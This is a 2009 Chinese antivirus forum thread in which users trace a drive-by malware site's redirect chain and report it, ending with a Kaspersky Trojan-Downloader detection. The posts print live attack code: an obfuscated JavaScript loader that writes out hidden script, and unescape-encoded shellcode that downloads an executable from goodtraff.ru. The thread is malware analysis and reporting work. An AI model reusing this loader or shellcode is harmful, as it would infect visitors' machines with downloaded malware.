查看: 2290|回复: 5
收起左侧

[已鉴定] http://trafficinc.ru/index.php(挂马)

[复制链接]
shadowmin
发表于 2009-7-7 08:02:57 | 显示全部楼层 |阅读模式
关于:hxxp://trafficinc.ru/index.php解密的日志(全体输出 -  5):
Level  0>http://trafficinc.ru/index.php
Level  1>http://goodtraff.ru
Level  2>http://goodtraff.ru/exe.php
Level  2>http://goodtraff.ru/spl/pdf.pdf
Level  2>http://goodtraff.ru/exe.php
shadowmin's analysis
xiaoqiang305
发表于 2009-7-7 10:29:17 | 显示全部楼层
到这里就下不去了Level  1>http://goodtraff.ru  难道rp ??
<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1>The requested was not found on this server.<p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.<hr><address>Apache/1.3.37 (Darwin)</address></body></html>
shadowmin
 楼主| 发表于 2009-7-7 10:53:34 | 显示全部楼层
人品没有问题,是方式问题,一个IP只能连接一次,有的时候还要设置引用页,这个时候一般freshow,redoce直接连接没效果。
  1. <script>all = Array();ex = Array();kfsvxhl = '819,074;357,043;1389,099;1240,118;3723,101;2727,101;1920,098;1231,061;944,113;2159,010;42,114;2364,034;1977,102;2177,050;3210,049;2235,097;2502,100;337,108;593,117;571,098;1630,097;2263,037;1339,010;3320,101;1408,046;2032,102;2600,117;1960,050;2925,101;417,051;3323,037;2109,098;1572,051;3401,013;2684,117;1487,114;1761,046;2069,048;3030,049;2536,056;897,010;1706,055;1190,040;2491,037;2637,098;2114,117;118,100;209,046;136,097;1053,046;1996,102;2033,054;301,110;2089,037;3774,013;460,056;578,034;1894,110;2577,101;1220,013;2976,034;3315,101;786,032;539,067;2745,101;3042,098;1379,010;12,117;1803,099;387,043;1980,099;1101,059;845,043;65,114;71,117;240,074;436,034;2952,051;3433,048;249,034;757,061;3026,117;1218,010;530,106;1237,099;2040,055;1344,099;2186,117;3591,084;289,116;1796,059;3152,117;110,117;314,043;2074,049;2435,097;2226,098;50,061;2097,101;851,034;962,112;3163,037;3215,054;3796,040;2828,117;2327,101;3006,101;2974,013;3686,077;1626,010;2254,097;2477,101;258,083;1892,032;2470,048;1520,039;799,123;2376,097;189,117;2818,055;2885,101;2175,048;3636,073;575,117;188,110;805,032;2240,117;643,121;1494,101;3420,040;1763,114;1846,116;1935,056;2777,048;3107,099;1742,097;2601,101;1157,040;2804,117;228,034;3194,117;1353,125;2358,053;2,067;2805,101;2229,101;1900,101;3126,052;1776,097;2539,037;1929,054;3244,052;340,100;2886,098;1686,111;1790,044;3782,102;836,116;1093,114;3004,050;878,084;854,117;1226,013;1529,101;576,099;2808,053;863,099;2824,102;2198,117;747,059;3624,084;141,061;2646,099;3139,037;3365,059;792,013;1331,097;734,034;2264,117;2753,056;1571,045;3376,112;494,099;3585,080;1739,101;3457,097;3367,010;478,099;1736,101;3117,101;317,034;1070,013;2944,099;2917,037;1238,116;3106,099;3300,118;756,032;2802,097;1831,123;3092,117;1814,010;1,083;1879,010;281,067;2379,048;2813,098;2343,054;3589,068;3715,099;2223,101;3513,067;1483,080;1425,067;3543,097;3559,108;3633,073;2558,117;391,043;36,032;3223,037;528,061;2950,052;754,100;2372,117;2271,101;1446,105;3524,101;732,034;1913,052;2627,101;2232,102;2085,048;1862,108;1427,110;1972,056;2083,037;2396,117;785,061;2515,037;2566,013;2344,052;909,112;3746,041;1600,032;3422,059;3359,112;1823,032;1154,099;788,041;3609,032;1708,048;1636,097;153,114;2049,101;1326,060;1934,117;1465,059;1833,010;728,110;1662,101;111,099;750,118;259,067;3238,070;2840,117;3775,010;2056,013;3697,047;1419,105;1302,102;23,099;3260,117;1294,061;90,111;1770,112;137,083;2535,050;943,083;3736,040;1096,120;2597,097;3748,013;441,043;2328,101;1936,048;3309,116;368,053;2315,097;789,013;1108,040;444,034;620,056;1634,083;2640,056;1054,046;1347,101;2231,101;2038,101;3043,037;1459,032;2436,097;1183,013;2998,054;59,047;2450,117;1295,034;1595,067;1259,080;480,034;1503,107;1633,046;88,116;516,097;2157,043;1602,100;764,013;3138,099;1111,069;1794,116;1735,114;2148,054;3458,121;3095,054;1285,102;1441,114;1430,111;2521,037;3496,077;1970,117;2224,102;2230,102;2101,037;1127,110;3290,117;291,105;3033,049;102,013;3393,120;2401,037;450,034;2130,049;2291,102;3720,116;348,099;2533,037;915,069;825,067;866,046;1876,041;646,010;1180,013;1724,097;913,034;2480,117;904,090;2707,037;2244,102;2865,048;1821,111;442,034;3160,100;184,034;2607,054;2154,055;3437,032;984,112;1819,116;937,041;2352,097;1851,100;99,123;3407,121;3426,111;1234,119;2694,051;2625,101;790,010;3696,060;266,034;496,034;2934,052;336,099;2321,048;435,068;1698,100;3455,101;1161,103;1175,114;1486,103;1646,032;893,059;3822,114;2369,098;131,032;1064,046;2205,048;2592,102;2187,101;3490,032;2897,051;1155,043;2757,054;413,117;3772,101;2826,055;2981,054;74,120;1387,032;2591,099;652,069;3008,117;202,074;3639,047;1897,099;215,116;1902,034;2163,099;1939,037;2118,055;205,097;931,044;282,053;2606,117;3733,121;3795,070;769,099;33,032;57,058;907,046;563,100;45,095;3740,112;2587,037;2123,049;335,034;3125,097;1937,098;1582,065;3539,120;2019,057;1468,118;3185,049;614,010;2867,101;83,010;787,049;2989,037;44,112;1063,086;3512,091;638,125;3622,061;2958,098;2256,054;237,043;3508,067;1563,070;2076,055;3572,062;92,032;1542,098;2353,037;3419,121;3143,054;3273,055;1400,116;3462,032;3732,066;1964,117;802,118;519,112;3647,065;1760,107;682,034;991,087;2611,037;1705,050;3294,048;3492,032;3068,117;1374,116;3405,114;214,116;3218,117;3555,120;719,043;1046,103;3553,046;1769,097;2385,101;1256,068;1057,083;500,057;2047,037;316,115;3167,101;2246,117;3816,013;779,102;2700,097;676,098;1744,104;1547,032;3813,123;3399,041;1591,067;3667,068;2325,101;24,114;2836,101;1187,116;3821,099;869,034;2209,037;2610,054;275,106;1843,119;2839,037;2806,101;1491,070;678,101;200,032;124,013;1434,034;1248,116;2609,098;1619,099;2016,102;2930,117;1080,046;1075,074;705,034;3491,061;914,071;2720,117;2440,097;370,034;1731,067;1868,120;2522,117;2431,037;1417,032;2414,117;139,053;1622,034;2584,097;2704,097;2711,102;182,099;585,117;1511,115;1653,116;1149,101;2161,037;3396,048;3620,065;483,043;1038,059;376,034;3219,055;1519,101;407,043;2816,117;322,043;1391,105;2067,098;1168,059;2138,117;3690,047;1359,099;829,116;2691,056;2995,037;2492,117;1539,034;758,032;3360,115;2985,101;827,101;2788,053;1135,110;3669,067;2696,117;404,110;992,046;1327,047;30,013;831,079;3595,067;1824,087;0,060;3027,102;3274,056;3467,114;731,043;886,084;1314,061;1645,104;2108,117;2119,037;3635,061;1523,010;484,110;2252,117;3122,117;255,099;2340,054;2833,037;1714,039;2526,102;2904,056;2088,051;233,043;3084,049;121,032;284,115;1330,114;765,010;1827,040;3812,032;1492,105;1382,116;2786,117;2102,117;1225,123;1552,115;1641,116;2531,101;3164,117;3150,052;169,034;2567,010;3325,048;540,114;1857,061;3214,052;1891,061;1665,010;3133,037;3328,097;980,013;2888,117;1590,048;1991,055;1253,114;155,097;3565,062;3644,060;917,043;283,046;1493,108;2792,117;916,034;2631,056;186,034;2072,117;2955,102;399,043;3201,097;2663,098;224,105;1002,112;43,032;770,104;648,097;948,105;1287,097;2823,101;739,043;445,043;3052,099;1306,102;3199,037;2530,097;1668,116;985,066;2893,037;979,059;1995,100;3465,112;883,099;1747,032;2320,056;2269,037;232,034;3111,056;1592,057;1230,116;2122,053;3028,102;2623,037;2800,102;2001,101;870,043;3563,111;2968,057;1730,046;949,089;279,097;2493,056;443,048;2456,117;382,099;3231,054;152,099;2104,097;1153,117;531,074;1983,102;2323,037;2100,102;3672,065;2258,032;810,090;129,097;1569,054;1579,068;2678,117;48,108;1380,114;384,034;2111,101;3545,038;2622,055;372,110;1901,040;208,053;1589,065;2429,101;3018,057;2452,054;2288,117;3207,101;2259,043;3079,037;3196,051;234,110;586,099;3351,114;1439,118;726,034;613,013;813,032;1105,118;946,085;1910,117;1721,059;510,114;2400,102;3229,037;579,046;3224,117;2878,051;1504,032;3166,102;123,059;3826,062;32,032;3250,049;1006,052;1481,058;115,059;2384,117;1909,037;377,054;3165,101;2214,049;570,034;973,112;1925,053;3062,117;3357,061;1596,056;1618,101;2204,117;1138,043;453,043;3392,048;3438,060;3156,097;1848,040;2346,098;1599,039;2236,097;1990,098;25,105;1298,108;3189,098;3567,093;2164,097;2918,117;319,110;206,083;130,114;2608,052;1081,083;1044,114;3408,032;2827,037;2954,117;3112,057;3429,105;1102,013;3485,108;881,110;2525,101;3100,053;2856,099;1858,034;1203,102;783,032;1813,013;3003,052;467,043;1711,046;2007,054;3257,054;2883,098;1091,040;3009,050;2676,097;288,116;3722,103;1799,125;2848,101;3386,103;1365,083;1671,109;1585,049;2987,099;715,099;808,110;861,110;1333,101;1008,076;330,043;95,065;659,032;3237,054;2661,049;1973,048;2314,055;261,043;3204,050;2469,049;2817,102;934,108;1201,013;2545,037;2149,037;1321,104;18,106;2241,098;2667,043;2133,101;165,040;559,043;2943,057;3509,062;2680,099;1804,104;2285,054;541,101;1965,101;414,099;2831,101;3536,047;2195,054;3705,013;2467,037;1307,034;2593,037;2014,051;1385,101;1717,048;3718,101;3200,117;1195,013;3333,048;3464,032;1688,097;696,110;251,034;1521,059;3584,083;138,067;2929,037;1971,101;3352,097;1784,121;3600,068;56,112;1863,097;3807,083;1123,046;2250,055;1163,097;1375,114;3131,098;1452,095;3048,101;873,099;1300,112;2377,037;107,114;3203,097;1650,114;3615,079;3091,037;3331,048;2803,037;1558,108;820,097;1118,110;547,106;3245,054;3243,055;1886,116;2378,117;2228,117;3747,059;2024,117;693,108;2147,054;2347,037;3239,054;727,043;1083,118;287,065;286,116;3378,114;3506,062;1497,079;986,104;3082,097;1767,083;412,110;3063,049;1847,101;3286,056;1877,059;2705,054;1381,101;2619,097;2191,037;475,043;2390,117;242,074;3398,048;3701,078;591,043;183,043;766,099;2086,055;150,116;2543,101;73,101;2287,037;3571,067;2105,054;1749,101;1012,114;1683,119;1360,116;2095,037;1460,112;1663,059;1191,101;1951,034;1576,045;1658,095;3613,065;2260,013;1998,101;3652,084;2892,099;3587,078;901,113;1206,099;1908,051;2620,102;1720,041;1082,097;1005,074;3074,032;2717,099;3363,121;694,034;2338,097;1189,104;2009,101;1759,099;1055,092;3580,077;1258,046;386,034;3818,060;552,034;1265,013;1260,068;3463,061;2179,037;1982,117;1621,062;2937,098;2963,057;1574,056;588,034;1713,034;3768,108;2199,098;964,104;109,110;1944,049;2677,037;2387,054;2262,034;1061,107;2946,052;1166,034;2152,057;1117,043;3731,116;2445,050;632,099;1795,041;858,050;114,039;3197,098;1040,010;1177,032;2368,052;3514,068;607,034;1181,010;2330,117;597,101;54,116;1475,116;1631,099;1583,068;921,043;2807,056;2220,102;1410,110;2695,037;1943,048;3479,100;2388,052;1695,032;661,074;1883,032;2349,101;3266,117;2875,037;87,099;495,043;1702,047;91,110;222,040;767,097;3101,054;922,034;663,074;506,059;1348,041;238,034;3448,041;3211,037;2642,117;1004,104;3349,112;105,118;1546,116;3412,101;161,109;3704,059;1840,110;3614,070;1264,059;2732,117;3604,070;581,116;778,105;2042,117;2319,101;535,083;3631,076;2733,057;780,040;231,061;1292,114;338,115;2523,101;3039,101;1682,111;1850,060;398,099;2935,037;3577,060;894,013;3756,110;2070,051;471,043;844,099;383,043;2103,097;1753,013;3293,055;2971,034;3195,097;2275,037;2216,117;3142,098;3213,055;527,032;2537,099;3823,105;3646,080;69,046;1628,116;3434,059;3308,121;598,097;3258,054;1032,101;3252,050;1328,105;838,034;2683,037;2898,053;2464,013;1948,102;191,043;2749,037;899,032;1781,114;2460,097;332,100;966,052;520,066;437,043;37,032;361,043;837,040;61,111;1120,099;2604,053;3209,097;2846,117;1818,099;3470,116;2969,049;2475,101;2029,037;3583,060;125,010;804,114;3254,117;1085,084;219,117;3056,117;1942,048;649,114;639,013;339,105;641,116;1541,111;3561,046;3326,097;1366,083;3330,117;2326,102;997,040;1815,102;2276,117;135,074;2345,099;2066,117;126,032;2712,055;1280,101;493,117;2173,037;1657,121;782,056;2170,048;2279,101;3742,097;3368,125;2852,117;543,116;3387,116;1001,010;2796,048;1629,116;2079,101;945,110;1638,115;3802,076;2751,101;3141,101;955,040;1958,117;3173,048;832,098;1568,068;430,110;2253,048;3073,034;3478,111;3529,061;3356,043;2331,098;1817,110;2286,054;1743,116;476,110;1594,068;400,034;3409,061;459,057;1364,032;2425,037;865,034;2734,097;2781,101;2155,034;2124,049;812,089;409,065;1377,123;3155,050;1726,116;1059,055;254,117;1355,010;';dnlxmlkyladn = kfsvxhl.split(';');swyjvxvhxwtcpxr = Array();for (boctiadrl=0;boctiadrl<dnlxmlkyladn.length;boctiadrl++){aittwaunedvakpm=dnlxmlkyladn[boctiadrl].split(',');ephlfgku=aittwaunedvakpm[0];pnimmhl=aittwaunedvakpm[1];swyjvxvhxwtcpxr[ephlfgku]=pnimmhl;}gpeum='';for(wcunpyfizz=0;wcunpyfizz<dnlxmlkyladn.length;wcunpyfizz++){gpeum+=String.fromCharCode(swyjvxvhxwtcpxr[wcunpyfizz]);}document.write(gpeum);</script>
复制代码
代码由于字数限制,只有一部分。
xiaoqiang305
发表于 2009-7-7 11:11:50 | 显示全部楼层
看代码 直接redoce执行document.write去除,或者alert之能出来吧~
promised
发表于 2009-7-7 18:21:05 | 显示全部楼层
  1. var i0a7eJNL = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +

  2. "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb" +

  3. "%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7" +

  4. "%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +

  5. "%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85" +

  6. "%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa" +

  7. "%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf" +

  8. "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc" +

  9. "%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba" +

  10. "%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec" +

  11. "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c" +

  12. "%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4" +

  13. "%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07" +

  14. "%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u672F%u6F6F%u7464%u6172%u6666%u722E%u2F75%u7865%u2E65%u6870%u0070");

复制代码
看了一下PDF结果是hxxp://goodtraff.ru/exe.php
sam.to
发表于 2009-7-7 18:23:25 | 显示全部楼层

回复 5楼 promised 的帖子

网址上报卡巴,卡巴:Trojan-Downloader.Win32.Small.jth
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-17 08:06 , Processed in 0.138328 second(s), 21 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表